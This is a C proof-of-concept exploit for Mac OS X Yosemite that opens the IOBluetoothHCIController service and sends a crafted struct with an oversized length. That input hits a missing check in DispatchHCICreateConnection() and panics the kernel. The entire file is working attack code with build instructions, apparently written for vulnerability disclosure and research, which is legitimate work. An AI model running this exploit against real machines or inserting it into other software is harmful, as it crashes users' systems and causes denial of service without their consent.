/*
 * crash-issue1.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick.
 *
 * Exploits a missing check in
 * IOBluetoothHCIUserClient::DispatchHCICreateConnection() causing a panic.
 *
 * gcc -Wall -o crash-issue1{,.c} -framework IOKit
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

#define SIZE 0x1000

struct BluetoothCall {
  uint64_t args[7];
  uint64_t sizes[7];
  uint64_t index;
};

int main(void) {
  /* Finding vuln service */
  io_service_t service =
    IOServiceGetMatchingService(kIOMasterPortDefault,
				IOServiceMatching("IOBluetoothHCIController"));

  if (!service) {
    return -1;
  }

  /* Connect to vuln service */
  io_connect_t port = (io_connect_t) 0;
  kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
  IOObjectRelease(service);
  if (kr != kIOReturnSuccess) {
    return kr;
  }

  printf(" [+] Opened connection to service on port: %d\n", port);

  struct BluetoothCall a;
  int i;

  for (i=0; i<7; i++) {
    a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
    a.sizes[i] = SIZE;
  }

  /* This value causes IOMalloc() to fail */
  a.args[6] = 0x0;
  a.sizes[6] = 0x80000041;
  a.index = 0x06;	/* DispatchHCICreateConnection() */

  for(i = 0; i < 120; i++) {
    if(i % 8 == 0) printf("\n");
    printf("\\x%02x", ((unsigned char *)&a)[i]);
  }
  printf("\n");

  kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
			   (uint32_t) 0,       /* Selector */
			   NULL, 0,	       /* input, inputCnt */
			   (const void*) &a,     /* inputStruct */
			   120,		       /* inputStructCnt */
			   NULL, NULL, NULL, NULL); /* Output stuff */
  printf("kr: %08x\n", kr);

  return IOServiceClose(port);
}